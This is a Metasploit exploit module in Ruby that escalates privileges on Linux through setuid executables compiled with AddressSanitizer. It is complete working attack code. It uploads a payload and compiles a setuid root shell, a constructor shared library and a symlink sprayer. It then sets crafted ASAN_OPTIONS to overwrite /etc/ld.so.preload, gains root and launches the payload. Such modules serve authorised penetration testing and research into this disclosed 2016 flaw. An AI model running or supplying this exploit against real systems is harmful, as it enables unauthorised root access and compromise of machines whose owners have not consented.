AddressSanitizer (ASan) SUID Executable Privilege Escalation

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Local  
Rank = ExcellentRanking  
  
include Msf::Post::File  
include Msf::Post::Linux::Priv  
include Msf::Post::Linux::System  
include Msf::Exploit::EXE  
include Msf::Exploit::FileDropper  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'AddressSanitizer (ASan) SUID Executable Privilege Escalation',  
'Description' => %q{  
This module attempts to gain root privileges on Linux systems using  
setuid executables compiled with AddressSanitizer (ASan).  
  
ASan configuration related environment variables are permitted when  
executing setuid executables built with libasan. The `log_path` option  
can be set using the `ASAN_OPTIONS` environment variable, allowing  
clobbering of arbitrary files, with the privileges of the setuid user.  
  
This module uploads a shared object and sprays symlinks to overwrite  
`/etc/ld.so.preload` in order to create a setuid root shell.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Szabolcs Nagy', # Discovery and PoC  
'infodox', # unsanitary.sh Exploit  
'bcoles' # Metasploit  
],  
'DisclosureDate' => '2016-02-17',  
'Platform' => 'linux',  
'Arch' =>  
[  
ARCH_X86,  
ARCH_X64,  
ARCH_ARMLE,  
ARCH_AARCH64,  
ARCH_PPC,  
ARCH_MIPSLE,  
ARCH_MIPSBE  
],  
'SessionTypes' => [ 'shell', 'meterpreter' ],  
'Targets' => [['Auto', {}]],  
'DefaultOptions' =>  
{  
'AppendExit' => true,  
'PrependSetresuid' => true,  
'PrependSetresgid' => true,  
'PrependFork' => true  
},  
'References' =>  
[  
['URL', 'https://seclists.org/oss-sec/2016/q1/363'],  
['URL', 'https://seclists.org/oss-sec/2016/q1/379'],  
['URL', 'https://gist.github.com/0x27/9ff2c8fb445b6ab9c94e'],  
['URL', 'https://github.com/bcoles/local-exploits/tree/master/asan-suid-root']  
],  
'Notes' =>  
{  
'AKA' => ['unsanitary.sh']  
},  
'DefaultTarget' => 0))  
register_options [  
OptString.new('SUID_EXECUTABLE', [true, 'Path to a SUID executable compiled with ASan', '']),  
OptInt.new('SPRAY_SIZE', [true, 'Number of PID symlinks to create', 50])  
]  
register_advanced_options [  
OptBool.new('ForceExploit', [false, 'Override check result', false]),  
OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp'])  
]  
end  
  
def base_dir  
datastore['WritableDir']  
end  
  
def suid_exe_path  
datastore['SUID_EXECUTABLE']  
end  
  
def upload(path, data)  
print_status "Writing '#{path}' (#{data.size} bytes) ..."  
rm_f path  
write_file path, data  
register_file_for_cleanup path  
end  
  
def upload_and_chmodx(path, data)  
upload path, data  
chmod path  
end  
  
def upload_and_compile(path, data, gcc_args='')  
upload "#{path}.c", data  
  
gcc_cmd = "gcc -o #{path} #{path}.c"  
if session.type.eql? 'shell'  
gcc_cmd = "PATH=$PATH:/usr/bin/ #{gcc_cmd}"  
end  
  
unless gcc_args.to_s.blank?  
gcc_cmd << " #{gcc_args}"  
end  
  
output = cmd_exec gcc_cmd  
  
unless output.blank?  
print_error 'Compiling failed:'  
print_line output  
end  
  
register_file_for_cleanup path  
chmod path  
end  
  
def check  
unless setuid? suid_exe_path  
vprint_error "#{suid_exe_path} is not setuid"  
return CheckCode::Safe  
end  
vprint_good "#{suid_exe_path} is setuid"  
  
# Check if the executable was compiled with ASan  
#  
# If the setuid executable is readable, and `ldd` is installed and in $PATH,  
# we can detect ASan via linked libraries. (`objdump` could also be used).  
#  
# Otherwise, we can try to detect ASan via the help output with the `help=1` option.  
# This approach works regardless of whether the setuid executable is readable,  
# with the obvious disadvantage that it requires invoking the executable.  
if cmd_exec("test -r #{suid_exe_path} && echo true").to_s.include?('true') && command_exists?('ldd')  
unless cmd_exec("ldd #{suid_exe_path}").to_s.include? 'libasan.so'  
vprint_error "#{suid_exe_path} was not compiled with ASan"  
return CheckCode::Safe  
end  
else  
unless cmd_exec("ASAN_OPTIONS=help=1 #{suid_exe_path}").include? 'AddressSanitizer'  
vprint_error "#{suid_exe_path} was not compiled with ASan"  
return CheckCode::Safe  
end  
end  
vprint_good "#{suid_exe_path} was compiled with ASan"  
  
unless has_gcc?  
print_error 'gcc is not installed. Compiling will fail.'  
return CheckCode::Safe  
end  
vprint_good 'gcc is installed'  
  
CheckCode::Appears  
end  
  
def exploit  
unless check == CheckCode::Appears  
unless datastore['ForceExploit']  
fail_with Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override.'  
end  
print_warning 'Target does not appear to be vulnerable'  
end  
  
if is_root?  
unless datastore['ForceExploit']  
fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.'  
end  
end  
  
unless writable? base_dir  
fail_with Failure::BadConfig, "#{base_dir} is not writable"  
end  
  
unless writable? pwd.to_s.strip  
fail_with Failure::BadConfig, "#{pwd.to_s.strip} working directory is not writable"  
end  
  
if nosuid? base_dir  
fail_with Failure::BadConfig, "#{base_dir} is mounted nosuid"  
end  
  
@log_prefix = ".#{rand_text_alphanumeric 5..10}"  
  
payload_name = ".#{rand_text_alphanumeric 5..10}"  
payload_path = "#{base_dir}/#{payload_name}"  
upload_and_chmodx payload_path, generate_payload_exe  
  
rootshell_name = ".#{rand_text_alphanumeric 5..10}"  
@rootshell_path = "#{base_dir}/#{rootshell_name}"  
rootshell = <<-EOF  
#include <stdio.h>  
#include <sys/stat.h>  
#include <unistd.h>  
int main(void)  
{  
setuid(0);  
setgid(0);  
execl("/bin/bash", "bash", NULL);  
}  
EOF  
upload_and_compile @rootshell_path, rootshell, '-Wall'  
  
lib_name = ".#{rand_text_alphanumeric 5..10}"  
lib_path = "#{base_dir}/#{lib_name}.so"  
lib = <<-EOF  
#include <stdlib.h>  
#include <stdio.h>  
#include <sys/stat.h>  
#include <unistd.h>  
void init(void) __attribute__((constructor));  
void __attribute__((constructor)) init() {  
if (setuid(0) || setgid(0))  
_exit(1);  
unlink("/etc/ld.so.preload");  
chown("#{@rootshell_path}", 0, 0);  
chmod("#{@rootshell_path}", 04755);  
_exit(0);  
}  
EOF  
upload_and_compile lib_path, lib, '-fPIC -shared -ldl -Wall'  
  
spray_name = ".#{rand_text_alphanumeric 5..10}"  
spray_path = "#{base_dir}/#{spray_name}"  
spray = <<-EOF  
#include <stdio.h>  
#include <sys/stat.h>  
#include <unistd.h>  
int main(void)  
{  
pid_t pid = getpid();  
char buf[64];  
for (int i=0; i<=#{datastore['SPRAY_SIZE']}; i++) {  
snprintf(buf, sizeof(buf), "#{@log_prefix}.%ld", (long)pid+i);  
symlink("/etc/ld.so.preload", buf);  
}  
}  
EOF  
upload_and_compile spray_path, spray, '-Wall'  
  
exp_name = ".#{rand_text_alphanumeric 5..10}"  
exp_path = "#{base_dir}/#{exp_name}"  
exp = <<-EOF  
#!/bin/sh  
#{spray_path}  
ASAN_OPTIONS="disable_coredump=1 suppressions='/#{@log_prefix}  
#{lib_path}  
' log_path=./#{@log_prefix} verbosity=0" "#{suid_exe_path}" >/dev/null 2>&1  
ASAN_OPTIONS='disable_coredump=1 abort_on_error=1 verbosity=0' "#{suid_exe_path}" >/dev/null 2>&1  
EOF  
upload_and_chmodx exp_path, exp  
  
print_status 'Launching exploit...'  
output = cmd_exec exp_path  
output.each_line { |line| vprint_status line.chomp }  
  
unless setuid? @rootshell_path  
fail_with Failure::Unknown, "Failed to set-uid root #{@rootshell_path}"  
end  
print_good "Success! #{@rootshell_path} is set-uid root!"  
vprint_line cmd_exec "ls -la #{@rootshell_path}"  
  
print_status 'Executing payload...'  
cmd_exec "echo #{payload_path} | #{@rootshell_path} & echo "  
end  
  
def cleanup  
# Safety check to ensure we don't delete everything in the working directory  
if @log_prefix.to_s.strip.eql? ''  
vprint_warning "#{datastore['SPRAY_SIZE']} symlinks may require manual cleanup in: #{pwd}"  
else  
cmd_exec "rm #{pwd}/#{@log_prefix}*"  
end  
ensure  
super  
end  
  
def on_new_session(session)  
# Remove rootshell executable  
if session.type.eql? 'meterpreter'  
session.core.use 'stdapi' unless session.ext.aliases.include? 'stdapi'  
session.fs.file.rm @rootshell_path  
else  
session.shell_command_token "rm -f '#{@rootshell_path}'"  
end  
ensure  
super  
end  
end  
`